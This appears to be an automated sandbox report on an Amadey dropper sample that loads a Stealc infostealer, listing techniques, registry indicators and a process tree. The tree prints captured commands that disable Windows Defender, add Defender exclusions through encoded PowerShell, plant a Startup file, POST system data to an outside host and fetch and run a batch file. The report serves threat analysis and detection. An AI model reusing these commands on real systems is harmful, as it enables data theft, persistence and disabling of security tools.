amadey | 6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	4R341Q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	4R341Q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	4R341Q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	4R341Q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	4R341Q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	4R341Q.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3U53f.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4R341Q.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1t80C3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
40148	Process not Found

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1t80C3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1t80C3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3U53f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4R341Q.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4R341Q.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3U53f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	9feskIx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	1t80C3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	skotes.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	cmd.exe

Executes dropped EXE 12 IoCs

pid	Process
4968	X6J06.exe
2364	1t80C3.exe
3652	skotes.exe
3456	3U53f.exe
4512	4R341Q.exe
2456	9feskIx.exe
2248	4df4035c1d.exe
1244	4df4035c1d.exe
4836	skotes.exe
1516	M5iFR20.exe
1204	TdDkUco.exe
1544	pcrndBC.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	1t80C3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	3U53f.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	4R341Q.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Wine	skotes.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	4R341Q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	4R341Q.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	X6J06.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000a000000023b78-1279.dat	autoit_exe
behavioral1/files/0x0009000000023c39-1569.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4360	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
2364	1t80C3.exe
3652	skotes.exe
3456	3U53f.exe
4512	4R341Q.exe
4836	skotes.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2248 set thread context of 1244	2248	4df4035c1d.exe	106

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1t80C3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
3328	1204	WerFault.exe	124
3056	1544	WerFault.exe	139
14900	8548	Process not Found	714
40752	4576	Process not Found	174

System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4R341Q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9feskIx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4df4035c1d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TdDkUco.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	X6J06.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pcrndBC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4df4035c1d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	M5iFR20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1t80C3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3U53f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	TdDkUco.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	TdDkUco.exe

Delays execution with timeout.exe 3 IoCs

pid	Process
836	timeout.exe
4828	timeout.exe
14972	Process not Found

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4320	ipconfig.exe
2976	ipconfig.exe

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4024	systeminfo.exe
4296	Process not Found

Kills process with taskkill 5 IoCs

pid	Process
8548	Process not Found
18272	Process not Found
18628	Process not Found
19140	Process not Found
19512	Process not Found

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2364	1t80C3.exe
2364	1t80C3.exe
3652	skotes.exe
3652	skotes.exe
3456	3U53f.exe
3456	3U53f.exe
4512	4R341Q.exe
4512	4R341Q.exe
4512	4R341Q.exe
4512	4R341Q.exe
4836	skotes.exe
4836	skotes.exe
1204	TdDkUco.exe
1204	TdDkUco.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4512	4R341Q.exe
Token: SeDebugPrivilege	2456	9feskIx.exe
Token: SeDebugPrivilege	4360	tasklist.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2364	1t80C3.exe
1516	M5iFR20.exe
1516	M5iFR20.exe
1516	M5iFR20.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1516	M5iFR20.exe
1516	M5iFR20.exe
1516	M5iFR20.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 4968	3056	6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe	83
PID 3056 wrote to memory of 4968	3056	6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe	83
PID 3056 wrote to memory of 4968	3056	6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe	83
PID 4968 wrote to memory of 2364	4968	X6J06.exe	84
PID 4968 wrote to memory of 2364	4968	X6J06.exe	84
PID 4968 wrote to memory of 2364	4968	X6J06.exe	84
PID 2364 wrote to memory of 3652	2364	1t80C3.exe	85
PID 2364 wrote to memory of 3652	2364	1t80C3.exe	85
PID 2364 wrote to memory of 3652	2364	1t80C3.exe	85
PID 4968 wrote to memory of 3456	4968	X6J06.exe	86
PID 4968 wrote to memory of 3456	4968	X6J06.exe	86
PID 4968 wrote to memory of 3456	4968	X6J06.exe	86
PID 3056 wrote to memory of 4512	3056	6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe	88
PID 3056 wrote to memory of 4512	3056	6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe	88
PID 3056 wrote to memory of 4512	3056	6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe	88
PID 3652 wrote to memory of 2456	3652	skotes.exe	96
PID 3652 wrote to memory of 2456	3652	skotes.exe	96
PID 3652 wrote to memory of 2456	3652	skotes.exe	96
PID 3652 wrote to memory of 2248	3652	skotes.exe	101
PID 3652 wrote to memory of 2248	3652	skotes.exe	101
PID 3652 wrote to memory of 2248	3652	skotes.exe	101
PID 2456 wrote to memory of 4532	2456	9feskIx.exe	103
PID 2456 wrote to memory of 4532	2456	9feskIx.exe	103
PID 2456 wrote to memory of 4532	2456	9feskIx.exe	103
PID 4532 wrote to memory of 4320	4532	cmd.exe	105
PID 4532 wrote to memory of 4320	4532	cmd.exe	105
PID 4532 wrote to memory of 4320	4532	cmd.exe	105
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 2248 wrote to memory of 1244	2248	4df4035c1d.exe	106
PID 3652 wrote to memory of 1516	3652	skotes.exe	111
PID 3652 wrote to memory of 1516	3652	skotes.exe	111
PID 3652 wrote to memory of 1516	3652	skotes.exe	111
PID 1516 wrote to memory of 3980	1516	M5iFR20.exe	112
PID 1516 wrote to memory of 3980	1516	M5iFR20.exe	112
PID 1516 wrote to memory of 3980	1516	M5iFR20.exe	112
PID 3980 wrote to memory of 4024	3980	cmd.exe	114
PID 3980 wrote to memory of 4024	3980	cmd.exe	114
PID 3980 wrote to memory of 4024	3980	cmd.exe	114
PID 3980 wrote to memory of 4360	3980	cmd.exe	121
PID 3980 wrote to memory of 4360	3980	cmd.exe	121
PID 3980 wrote to memory of 4360	3980	cmd.exe	121
PID 1516 wrote to memory of 3180	1516	M5iFR20.exe	122
PID 1516 wrote to memory of 3180	1516	M5iFR20.exe	122
PID 1516 wrote to memory of 3180	1516	M5iFR20.exe	122
PID 3652 wrote to memory of 1204	3652	skotes.exe	124
PID 3652 wrote to memory of 1204	3652	skotes.exe	124
PID 3652 wrote to memory of 1204	3652	skotes.exe	124
PID 1516 wrote to memory of 2416	1516	M5iFR20.exe	126
PID 1516 wrote to memory of 2416	1516	M5iFR20.exe	126
PID 1516 wrote to memory of 2416	1516	M5iFR20.exe	126
PID 1516 wrote to memory of 4860	1516	M5iFR20.exe	129
PID 1516 wrote to memory of 4860	1516	M5iFR20.exe	129
PID 1516 wrote to memory of 4860	1516	M5iFR20.exe	129
PID 1516 wrote to memory of 4660	1516	M5iFR20.exe	130
PID 1516 wrote to memory of 4660	1516	M5iFR20.exe	130
PID 1516 wrote to memory of 4660	1516	M5iFR20.exe	130

C:\Users\Admin\AppData\Local\Temp\6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe
"C:\Users\Admin\AppData\Local\Temp\6fabaf9f4382ac02f15776bd62f167615dbe6c3f5c32a5e9cb3b2630371da602.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\X6J06.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\X6J06.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1t80C3.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1t80C3.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3652
    - - C:\Users\Admin\AppData\Local\Temp\1013829001\9feskIx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1013829001\9feskIx.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2456
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c ipconfig /release
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4532
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        7⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:4320
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADEAMwA4ADIAOQAwADAAMQBcADkAZgBlAHMAawBJAHgALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADEAMwA4ADIAOQAwADAAMQBcADkAZgBlAHMAawBJAHgALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEUAZABnAGUAQgBIAE8ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARQBkAGcAZQBCAEgATwAuAGUAeABlAA==
        6⤵
        
        PID:1064
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c ipconfig /renew
        6⤵
        
        PID:740
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /renew
        7⤵
        Gathers network information
        
        PID:2976
    - - C:\Users\Admin\AppData\Local\Temp\1014060001\4df4035c1d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014060001\4df4035c1d.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2248
      - C:\Users\Admin\AppData\Local\Temp\1014060001\4df4035c1d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014060001\4df4035c1d.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1244
    - - C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1516
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3980
        
        C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo
        7⤵
        System Location Discovery: System Language Discovery
        Gathers system information
        
        PID:4024
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4360
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F594C464F47494F452F41646D696E2F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3180
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F594C464F47494F452F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2416
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c type "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
        6⤵
        Drops startup file
        System Location Discovery: System Language Discovery
        
        PID:4860
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F594C464F47494F452F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4660
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2764
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F594C464F47494F452F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4452
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F594C464F47494F452F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
        6⤵
        
        PID:2376
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c type "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
        6⤵
        
        PID:2864
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F594C464F47494F452F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
        6⤵
        
        PID:2144
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
        6⤵
        
        PID:4420
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F594C464F47494F452F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
        6⤵
        
        PID:2000
    - - C:\Users\Admin\AppData\Local\Temp\1014321001\TdDkUco.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014321001\TdDkUco.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1204
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1014321001\TdDkUco.exe" & rd /s /q "C:\ProgramData\U3EKN7YCBIEU" & exit
        6⤵
        
        PID:4560
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:836
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 2064
        6⤵
        Program crash
        
        PID:3328
    - - C:\Users\Admin\AppData\Local\Temp\1014323001\pcrndBC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014323001\pcrndBC.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1544
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1014323001\pcrndBC.exe" & rd /s /q "C:\ProgramData\SJEUASRIWTRQ" & exit
        6⤵
        
